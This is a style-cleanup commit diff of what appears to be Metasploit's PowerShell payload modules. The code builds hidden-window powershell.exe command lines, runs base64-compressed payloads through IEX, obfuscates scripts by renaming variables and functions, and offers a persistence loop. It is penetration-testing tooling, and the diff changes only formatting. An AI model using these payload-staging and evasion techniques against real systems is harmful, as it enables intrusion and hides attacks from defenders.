Cheat/Rubycop all the things
parent
474ee81807
commit
5f0533677e
|
@ -3,7 +3,6 @@ require 'rex/exploitation/powershell'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Exploit::Powershell
|
module Exploit::Powershell
|
||||||
|
|
||||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
|
@ -16,12 +15,7 @@ module Exploit::Powershell
|
||||||
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
||||||
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||||
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
||||||
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [
|
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
|
||||||
'net',
|
|
||||||
'reflection',
|
|
||||||
'old',
|
|
||||||
'msil'
|
|
||||||
]]),
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -36,7 +30,7 @@ module Exploit::Powershell
|
||||||
# Build script object
|
# Build script object
|
||||||
psh = PowershellScript.new(script_in)
|
psh = PowershellScript.new(script_in)
|
||||||
# Invoke enabled modifiers
|
# Invoke enabled modifiers
|
||||||
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||||
mod_method = k.split('::').last.intern
|
mod_method = k.split('::').last.intern
|
||||||
psh.send(mod_method)
|
psh.send(mod_method)
|
||||||
end
|
end
|
||||||
|
@ -56,7 +50,7 @@ module Exploit::Powershell
|
||||||
# Build script object
|
# Build script object
|
||||||
psh = PowershellScript.new(script_in)
|
psh = PowershellScript.new(script_in)
|
||||||
# Invoke enabled modifiers
|
# Invoke enabled modifiers
|
||||||
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k|
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||||
mod_method = k.split('::').last.intern
|
mod_method = k.split('::').last.intern
|
||||||
psh.send(mod_method)
|
psh.send(mod_method)
|
||||||
end
|
end
|
||||||
|
@ -75,14 +69,14 @@ module Exploit::Powershell
|
||||||
#
|
#
|
||||||
# @return [String] Powershell command line with arguments
|
# @return [String] Powershell command line with arguments
|
||||||
def generate_psh_command_line(opts)
|
def generate_psh_command_line(opts)
|
||||||
if opts[:path] and (opts[:path][-1,1] != "\\")
|
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||||
opts[:path] << "\\"
|
opts[:path] << '\\'
|
||||||
end
|
end
|
||||||
|
|
||||||
if opts[:no_full_stop]
|
if opts[:no_full_stop]
|
||||||
binary = "powershell"
|
binary = 'powershell'
|
||||||
else
|
else
|
||||||
binary = "powershell.exe"
|
binary = 'powershell.exe'
|
||||||
end
|
end
|
||||||
|
|
||||||
args = generate_psh_args(opts)
|
args = generate_psh_args(opts)
|
||||||
|
@ -122,13 +116,13 @@ module Exploit::Powershell
|
||||||
#
|
#
|
||||||
# @return [String] Powershell command arguments
|
# @return [String] Powershell command arguments
|
||||||
def generate_psh_args(opts)
|
def generate_psh_args(opts)
|
||||||
return "" unless opts
|
return '' unless opts
|
||||||
|
|
||||||
unless opts.has_key? :shorten
|
unless opts.key? :shorten
|
||||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||||
end
|
end
|
||||||
|
|
||||||
arg_string = " "
|
arg_string = ' '
|
||||||
opts.each_pair do |arg, value|
|
opts.each_pair do |arg, value|
|
||||||
case arg
|
case arg
|
||||||
when :encodedcommand
|
when :encodedcommand
|
||||||
|
@ -140,25 +134,25 @@ module Exploit::Powershell
|
||||||
when :file
|
when :file
|
||||||
arg_string << "-File #{value} " if value
|
arg_string << "-File #{value} " if value
|
||||||
when :noexit
|
when :noexit
|
||||||
arg_string << "-NoExit " if value
|
arg_string << '-NoExit ' if value
|
||||||
when :nologo
|
when :nologo
|
||||||
arg_string << "-NoLogo " if value
|
arg_string << '-NoLogo ' if value
|
||||||
when :noninteractive
|
when :noninteractive
|
||||||
arg_string << "-NonInteractive " if value
|
arg_string << '-NonInteractive ' if value
|
||||||
when :mta
|
when :mta
|
||||||
arg_string << "-Mta " if value
|
arg_string << '-Mta ' if value
|
||||||
when :outputformat
|
when :outputformat
|
||||||
arg_string << "-OutputFormat #{value} " if value
|
arg_string << "-OutputFormat #{value} " if value
|
||||||
when :sta
|
when :sta
|
||||||
arg_string << "-Sta " if value
|
arg_string << '-Sta ' if value
|
||||||
when :noprofile
|
when :noprofile
|
||||||
arg_string << "-NoProfile " if value
|
arg_string << '-NoProfile ' if value
|
||||||
when :windowstyle
|
when :windowstyle
|
||||||
arg_string << "-WindowStyle #{value} " if value
|
arg_string << "-WindowStyle #{value} " if value
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#Command must be last (unless from stdin - etc)
|
# Command must be last (unless from stdin - etc)
|
||||||
if opts[:command]
|
if opts[:command]
|
||||||
arg_string << "-Command #{opts[:command]}"
|
arg_string << "-Command #{opts[:command]}"
|
||||||
end
|
end
|
||||||
|
@ -182,10 +176,10 @@ module Exploit::Powershell
|
||||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||||
end
|
end
|
||||||
|
|
||||||
#Strip off first space character
|
# Strip off first space character
|
||||||
arg_string = arg_string[1..-1]
|
arg_string = arg_string[1..-1]
|
||||||
#Remove final space character
|
# Remove final space character
|
||||||
arg_string = arg_string[0..-2] if (arg_string[-1] == " ")
|
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||||
|
|
||||||
arg_string
|
arg_string
|
||||||
end
|
end
|
||||||
|
@ -202,14 +196,14 @@ module Exploit::Powershell
|
||||||
# @return [String] Wrapped powershell code
|
# @return [String] Wrapped powershell code
|
||||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||||
arg_opts = {
|
arg_opts = {
|
||||||
:noprofile => true,
|
noprofile: true,
|
||||||
:windowstyle => 'hidden',
|
windowstyle: 'hidden',
|
||||||
}
|
}
|
||||||
|
|
||||||
if encoded
|
if encoded
|
||||||
arg_opts[:encodedcommand] = ps_code
|
arg_opts[:encodedcommand] = ps_code
|
||||||
else
|
else
|
||||||
arg_opts[:command] = ps_code.gsub("'","''")
|
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||||
end
|
end
|
||||||
|
|
||||||
# Old technique fails if powershell exits..
|
# Old technique fails if powershell exits..
|
||||||
|
@ -224,7 +218,7 @@ $s.Arguments='#{ps_args}'
|
||||||
$s.UseShellExecute=$false
|
$s.UseShellExecute=$false
|
||||||
$p=[System.Diagnostics.Process]::Start($s)
|
$p=[System.Diagnostics.Process]::Start($s)
|
||||||
EOS
|
EOS
|
||||||
process_start_info.gsub!("\n",';')
|
process_start_info.gsub!("\n", ';')
|
||||||
|
|
||||||
archictecure_detection = <<EOS
|
archictecure_detection = <<EOS
|
||||||
if([IntPtr]::Size -eq 4){
|
if([IntPtr]::Size -eq 4){
|
||||||
|
@ -234,7 +228,7 @@ if([IntPtr]::Size -eq 4){
|
||||||
};
|
};
|
||||||
EOS
|
EOS
|
||||||
|
|
||||||
archictecure_detection.gsub!("\n","")
|
archictecure_detection.gsub!("\n", '')
|
||||||
|
|
||||||
archictecure_detection + process_start_info
|
archictecure_detection + process_start_info
|
||||||
end
|
end
|
||||||
|
@ -264,17 +258,17 @@ EOS
|
||||||
# argument in single quotes unless :encode_final_payload
|
# argument in single quotes unless :encode_final_payload
|
||||||
#
|
#
|
||||||
# @return [String] Powershell command line with payload
|
# @return [String] Powershell command line with payload
|
||||||
def cmd_psh_payload(pay, payload_arch, opts={})
|
def cmd_psh_payload(pay, payload_arch, opts = {})
|
||||||
opts[:persist] ||= datastore['Powershell::persist']
|
opts[:persist] ||= datastore['Powershell::persist']
|
||||||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||||
opts[:method] ||= datastore['Powershell::method']
|
opts[:method] ||= datastore['Powershell::method']
|
||||||
|
|
||||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||||
raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options"
|
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||||
end
|
end
|
||||||
|
|
||||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||||
raise RuntimeError, ":no_equals requires :encode_final_payload option to be used"
|
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||||
end
|
end
|
||||||
|
|
||||||
psh_payload = case opts[:method]
|
psh_payload = case opts[:method]
|
||||||
|
@ -285,15 +279,15 @@ EOS
|
||||||
when 'old'
|
when 'old'
|
||||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||||
when 'msil'
|
when 'msil'
|
||||||
raise RuntimeError, "MSIL Powershell method no longer exists"
|
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||||
else
|
else
|
||||||
raise RuntimeError, "No Powershell method specified"
|
fail RuntimeError, 'No Powershell method specified'
|
||||||
end
|
end
|
||||||
|
|
||||||
# Run our payload in a while loop
|
# Run our payload in a while loop
|
||||||
if opts[:persist]
|
if opts[:persist]
|
||||||
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||||
sleep_time = rand(5)+5
|
sleep_time = rand(5) + 5
|
||||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||||
|
@ -334,8 +328,8 @@ EOS
|
||||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||||
|
|
||||||
command_args = {
|
command_args = {
|
||||||
:noprofile => true,
|
noprofile: true,
|
||||||
:windowstyle => 'hidden'
|
windowstyle: 'hidden'
|
||||||
}.merge(opts)
|
}.merge(opts)
|
||||||
|
|
||||||
if opts[:encode_final_payload]
|
if opts[:encode_final_payload]
|
||||||
|
@ -345,14 +339,14 @@ EOS
|
||||||
# payload contains none.
|
# payload contains none.
|
||||||
if opts[:no_equals]
|
if opts[:no_equals]
|
||||||
while command_args[:encodedcommand].include? '='
|
while command_args[:encodedcommand].include? '='
|
||||||
final_payload << " "
|
final_payload << ' '
|
||||||
command_args[:encodedcommand] = encode_script(final_payload)
|
command_args[:encodedcommand] = encode_script(final_payload)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
if opts[:use_single_quotes]
|
if opts[:use_single_quotes]
|
||||||
# Escape Single Quotes
|
# Escape Single Quotes
|
||||||
final_payload.gsub!("'","''")
|
final_payload.gsub!("'", "''")
|
||||||
# Wrap command in quotes
|
# Wrap command in quotes
|
||||||
final_payload = "'#{final_payload}'"
|
final_payload = "'#{final_payload}'"
|
||||||
end
|
end
|
||||||
|
@ -370,20 +364,17 @@ EOS
|
||||||
|
|
||||||
vprint_status("Powershell command length: #{command.length}")
|
vprint_status("Powershell command length: #{command.length}")
|
||||||
if command.length > 8191
|
if command.length > 8191
|
||||||
raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)"
|
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||||
end
|
end
|
||||||
|
|
||||||
command
|
command
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Useful method cache
|
# Useful method cache
|
||||||
#
|
#
|
||||||
module PshMethods
|
module PshMethods
|
||||||
include Rex::Exploitation::Powershell::PshMethods
|
include Rex::Exploitation::Powershell::PshMethods
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -9,58 +9,54 @@ require 'rex/exploitation/powershell/script'
|
||||||
require 'rex/exploitation/powershell/psh_methods'
|
require 'rex/exploitation/powershell/psh_methods'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Exploitation
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
#
|
||||||
|
# Reads script into a PowershellScript
|
||||||
|
#
|
||||||
|
# @param script_path [String] Path to the Script File
|
||||||
|
#
|
||||||
|
# @return [Script] Powershell Script object
|
||||||
|
def self.read_script(script_path)
|
||||||
|
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||||
|
end
|
||||||
|
|
||||||
module Powershell
|
#
|
||||||
|
# Insert substitutions into the powershell script
|
||||||
|
# If script is a path to a file then read the file
|
||||||
|
# otherwise treat it as the contents of a file
|
||||||
|
#
|
||||||
|
# @param script [String] Script file or path to script
|
||||||
|
# @param subs [Array] Substitutions to insert
|
||||||
|
#
|
||||||
|
# @return [String] Modified script file
|
||||||
|
def self.make_subs(script, subs)
|
||||||
|
if ::File.file?(script)
|
||||||
|
script = ::File.read(script)
|
||||||
|
end
|
||||||
|
|
||||||
#
|
subs.each do |set|
|
||||||
# Reads script into a PowershellScript
|
script.gsub!(set[0], set[1])
|
||||||
#
|
end
|
||||||
# @param script_path [String] Path to the Script File
|
|
||||||
#
|
|
||||||
# @return [Script] Powershell Script object
|
|
||||||
def self.read_script(script_path)
|
|
||||||
Rex::Exploitation::Powershell::Script.new(script_path)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
script
|
||||||
# Insert substitutions into the powershell script
|
end
|
||||||
# If script is a path to a file then read the file
|
|
||||||
# otherwise treat it as the contents of a file
|
#
|
||||||
#
|
# Return an array of substitutions for use in make_subs
|
||||||
# @param script [String] Script file or path to script
|
#
|
||||||
# @param subs [Array] Substitutions to insert
|
# @param subs [String] A ; seperated list of substitutions
|
||||||
#
|
#
|
||||||
# @return [String] Modified script file
|
# @return [Array] An array of substitutions
|
||||||
def self.make_subs(script, subs)
|
def self.process_subs(subs)
|
||||||
if ::File.file?(script)
|
return [] if subs.nil? or subs.empty?
|
||||||
script = ::File.read(script)
|
new_subs = []
|
||||||
|
subs.split(';').each do |set|
|
||||||
|
new_subs << set.split(',', 2)
|
||||||
|
end
|
||||||
|
|
||||||
|
new_subs
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
subs.each do |set|
|
|
||||||
script.gsub!(set[0],set[1])
|
|
||||||
end
|
|
||||||
|
|
||||||
script
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Return an array of substitutions for use in make_subs
|
|
||||||
#
|
|
||||||
# @param subs [String] A ; seperated list of substitutions
|
|
||||||
#
|
|
||||||
# @return [Array] An array of substitutions
|
|
||||||
def self.process_subs(subs)
|
|
||||||
return [] if subs.nil? or subs.empty?
|
|
||||||
new_subs = []
|
|
||||||
subs.split(';').each do |set|
|
|
||||||
new_subs << set.split(',', 2)
|
|
||||||
end
|
|
||||||
|
|
||||||
new_subs
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
|
@ -2,9 +2,7 @@
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Exploitation
|
module Exploitation
|
||||||
|
|
||||||
module Powershell
|
module Powershell
|
||||||
|
|
||||||
class Function
|
class Function
|
||||||
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||||
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
|
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
|
||||||
|
@ -14,7 +12,7 @@ module Powershell
|
||||||
include Parser
|
include Parser
|
||||||
include Obfu
|
include Obfu
|
||||||
|
|
||||||
def initialize(name,code)
|
def initialize(name, code)
|
||||||
@name = name
|
@name = name
|
||||||
@code = code
|
@code = code
|
||||||
populate_params
|
populate_params
|
||||||
|
@ -37,7 +35,7 @@ module Powershell
|
||||||
start = code.index(PARAMETER_REGEX)
|
start = code.index(PARAMETER_REGEX)
|
||||||
return unless start
|
return unless start
|
||||||
# Get start of our block
|
# Get start of our block
|
||||||
idx = scan_with_index('(',code[start..-1]).first.last + start
|
idx = scan_with_index('(', code[start..-1]).first.last + start
|
||||||
pclause = block_extract(idx)
|
pclause = block_extract(idx)
|
||||||
|
|
||||||
matches = pclause.scan(FUNCTION_REGEX)
|
matches = pclause.scan(FUNCTION_REGEX)
|
||||||
|
@ -50,7 +48,7 @@ module Powershell
|
||||||
if value
|
if value
|
||||||
if klass
|
if klass
|
||||||
name = value
|
name = value
|
||||||
@params << Param.new(klass,name)
|
@params << Param.new(klass, name)
|
||||||
break
|
break
|
||||||
else
|
else
|
||||||
klass = value
|
klass = value
|
||||||
|
@ -60,8 +58,6 @@ module Powershell
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -4,9 +4,7 @@ require 'rex/text'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Exploitation
|
module Exploitation
|
||||||
|
|
||||||
module Powershell
|
module Powershell
|
||||||
|
|
||||||
module Obfu
|
module Obfu
|
||||||
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||||
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
|
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
|
||||||
|
@ -21,9 +19,9 @@ module Powershell
|
||||||
# @return [String] code without comments
|
# @return [String] code without comments
|
||||||
def strip_comments
|
def strip_comments
|
||||||
# Multi line
|
# Multi line
|
||||||
code.gsub!(MULTI_LINE_COMMENTS_REGEX,'')
|
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
|
||||||
# Single line
|
# Single line
|
||||||
code.gsub!(SINGLE_LINE_COMMENTS_REGEX,'')
|
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
|
||||||
|
|
||||||
code
|
code
|
||||||
end
|
end
|
||||||
|
@ -34,9 +32,9 @@ module Powershell
|
||||||
# @return [String] code without empty lines
|
# @return [String] code without empty lines
|
||||||
def strip_empty_lines
|
def strip_empty_lines
|
||||||
# Windows EOL
|
# Windows EOL
|
||||||
code.gsub!(WINDOWS_EOL_REGEX,"\r\n")
|
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
|
||||||
# UNIX EOL
|
# UNIX EOL
|
||||||
code.gsub!(UNIX_EOL_REGEX,"\n")
|
code.gsub!(UNIX_EOL_REGEX, "\n")
|
||||||
|
|
||||||
code
|
code
|
||||||
end
|
end
|
||||||
|
@ -47,7 +45,7 @@ module Powershell
|
||||||
#
|
#
|
||||||
# @return [String] code with whitespace stripped
|
# @return [String] code with whitespace stripped
|
||||||
def strip_whitespace
|
def strip_whitespace
|
||||||
code.gsub!(WHITESPACE_REGEX,' ')
|
code.gsub!(WHITESPACE_REGEX, ' ')
|
||||||
|
|
||||||
code
|
code
|
||||||
end
|
end
|
||||||
|
@ -58,7 +56,7 @@ module Powershell
|
||||||
# @return [String] code with variable names replaced with unique values
|
# @return [String] code with variable names replaced with unique values
|
||||||
def sub_vars
|
def sub_vars
|
||||||
# Get list of variables, remove reserved
|
# Get list of variables, remove reserved
|
||||||
get_var_names.each do |var,sub|
|
get_var_names.each do |var, _sub|
|
||||||
code.gsub!(var, "$#{@rig.init_var(var)}")
|
code.gsub!(var, "$#{@rig.init_var(var)}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -72,7 +70,7 @@ module Powershell
|
||||||
# values
|
# values
|
||||||
def sub_funcs
|
def sub_funcs
|
||||||
# Find out function names, make map
|
# Find out function names, make map
|
||||||
get_func_names.each do |var, sub|
|
get_func_names.each do |var, _sub|
|
||||||
code.gsub!(var, @rig.init_var(var))
|
code.gsub!(var, @rig.init_var(var))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -83,21 +81,18 @@ module Powershell
|
||||||
# Perform standard substitutions
|
# Perform standard substitutions
|
||||||
#
|
#
|
||||||
# @return [String] code with standard substitution methods applied
|
# @return [String] code with standard substitution methods applied
|
||||||
def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} )
|
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
|
||||||
# Save us the trouble of breaking injected .NET and such
|
# Save us the trouble of breaking injected .NET and such
|
||||||
subs.delete('strip_whitespace') unless get_string_literals.empty?
|
subs.delete('strip_whitespace') unless get_string_literals.empty?
|
||||||
# Run selected modifiers
|
# Run selected modifiers
|
||||||
subs.each do |modifier|
|
subs.each do |modifier|
|
||||||
self.send(modifier)
|
send(modifier)
|
||||||
end
|
end
|
||||||
code.gsub!(EMPTY_LINE_REGEX,'')
|
code.gsub!(EMPTY_LINE_REGEX, '')
|
||||||
|
|
||||||
code
|
code
|
||||||
end
|
end
|
||||||
|
|
||||||
end # Obfu
|
end # Obfu
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -5,11 +5,8 @@ require 'rex/text'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Exploitation
|
module Exploitation
|
||||||
|
|
||||||
module Powershell
|
module Powershell
|
||||||
|
|
||||||
module Output
|
module Output
|
||||||
|
|
||||||
#
|
#
|
||||||
# To String
|
# To String
|
||||||
#
|
#
|
||||||
|
@ -32,7 +29,7 @@ module Powershell
|
||||||
# @return [String] Powershell code with line numbers
|
# @return [String] Powershell code with line numbers
|
||||||
def to_s_lineno
|
def to_s_lineno
|
||||||
numbered = ''
|
numbered = ''
|
||||||
code.split(/\r\n|\n/).each_with_index do |line,idx|
|
code.split(/\r\n|\n/).each_with_index do |line, idx|
|
||||||
numbered << "#{idx}: #{line}"
|
numbered << "#{idx}: #{line}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -49,27 +46,27 @@ module Powershell
|
||||||
def deflate_code(eof = nil)
|
def deflate_code(eof = nil)
|
||||||
# Compress using the Deflate algorithm
|
# Compress using the Deflate algorithm
|
||||||
compressed_stream = ::Zlib::Deflate.deflate(code,
|
compressed_stream = ::Zlib::Deflate.deflate(code,
|
||||||
::Zlib::BEST_COMPRESSION)
|
::Zlib::BEST_COMPRESSION)
|
||||||
|
|
||||||
# Base64 encode the compressed file contents
|
# Base64 encode the compressed file contents
|
||||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||||
|
|
||||||
# Build the powershell expression
|
# Build the powershell expression
|
||||||
# Decode base64 encoded command and create a stream object
|
# Decode base64 encoded command and create a stream object
|
||||||
psh_expression = "$s=New-Object IO.MemoryStream(,"
|
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||||
# Read & delete the first two bytes due to incompatibility with MS
|
# Read & delete the first two bytes due to incompatibility with MS
|
||||||
psh_expression << "$s.ReadByte();"
|
psh_expression << '$s.ReadByte();'
|
||||||
psh_expression << "$s.ReadByte();"
|
psh_expression << '$s.ReadByte();'
|
||||||
# Uncompress and invoke the expression (execute)
|
# Uncompress and invoke the expression (execute)
|
||||||
psh_expression << "IEX (New-Object IO.StreamReader("
|
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||||
psh_expression << "New-Object IO.Compression.DeflateStream("
|
psh_expression << 'New-Object IO.Compression.DeflateStream('
|
||||||
psh_expression << "$s,"
|
psh_expression << '$s,'
|
||||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
|
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||||
psh_expression << ")).ReadToEnd();"
|
psh_expression << ')).ReadToEnd();'
|
||||||
|
|
||||||
# If eof is set, add a marker to signify end of code output
|
# If eof is set, add a marker to signify end of code output
|
||||||
#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||||
psh_expression << "echo '#{eof}';" if eof
|
psh_expression << "echo '#{eof}';" if eof
|
||||||
|
|
||||||
@code = psh_expression
|
@code = psh_expression
|
||||||
|
@ -99,17 +96,17 @@ module Powershell
|
||||||
|
|
||||||
# Build the powershell expression
|
# Build the powershell expression
|
||||||
# Decode base64 encoded command and create a stream object
|
# Decode base64 encoded command and create a stream object
|
||||||
psh_expression = "$s=New-Object IO.MemoryStream(,"
|
psh_expression = '$s=New-Object IO.MemoryStream(,'
|
||||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||||
# Uncompress and invoke the expression (execute)
|
# Uncompress and invoke the expression (execute)
|
||||||
psh_expression << "IEX (New-Object IO.StreamReader("
|
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||||
psh_expression << "New-Object IO.Compression.GzipStream("
|
psh_expression << 'New-Object IO.Compression.GzipStream('
|
||||||
psh_expression << "$s,"
|
psh_expression << '$s,'
|
||||||
psh_expression << "[IO.Compression.CompressionMode]::Decompress)"
|
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||||
psh_expression << ")).ReadToEnd();"
|
psh_expression << ')).ReadToEnd();'
|
||||||
|
|
||||||
# If eof is set, add a marker to signify end of code output
|
# If eof is set, add a marker to signify end of code output
|
||||||
#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||||
psh_expression << "echo '#{eof}';" if eof
|
psh_expression << "echo '#{eof}';" if eof
|
||||||
|
|
||||||
@code = psh_expression
|
@code = psh_expression
|
||||||
|
@ -142,15 +139,13 @@ module Powershell
|
||||||
begin
|
begin
|
||||||
@code = Rex::Text.zlib_inflate(unencoded)
|
@code = Rex::Text.zlib_inflate(unencoded)
|
||||||
rescue Zlib::DataError => e
|
rescue Zlib::DataError => e
|
||||||
raise RuntimeError, "Invalid compression"
|
raise RuntimeError, 'Invalid compression'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@code
|
@code
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -2,14 +2,12 @@
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Exploitation
|
module Exploitation
|
||||||
|
|
||||||
module Powershell
|
module Powershell
|
||||||
|
|
||||||
class Param
|
class Param
|
||||||
attr_accessor :klass, :name
|
attr_accessor :klass, :name
|
||||||
def initialize(klass,name)
|
def initialize(klass, name)
|
||||||
@klass = klass.strip
|
@klass = klass.strip
|
||||||
@name = name.strip.gsub(/\s|,/,'')
|
@name = name.strip.gsub(/\s|,/, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -20,8 +18,6 @@ module Powershell
|
||||||
"[#{klass}]$#{name}"
|
"[#{klass}]$#{name}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,187 +1,183 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Exploitation
|
module Exploitation
|
||||||
|
module Powershell
|
||||||
|
module Parser
|
||||||
|
# Reserved special variables
|
||||||
|
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||||
|
RESERVED_VARIABLE_NAMES = [
|
||||||
|
'$$',
|
||||||
|
'$?',
|
||||||
|
'$^',
|
||||||
|
'$_',
|
||||||
|
'$args',
|
||||||
|
'$ConfirmPreference',
|
||||||
|
'$ConsoleFileName',
|
||||||
|
'$DebugPreference',
|
||||||
|
'$Env',
|
||||||
|
'$Error',
|
||||||
|
'$ErrorActionPreference',
|
||||||
|
'$ErrorView',
|
||||||
|
'$ExecutionContext',
|
||||||
|
'$false',
|
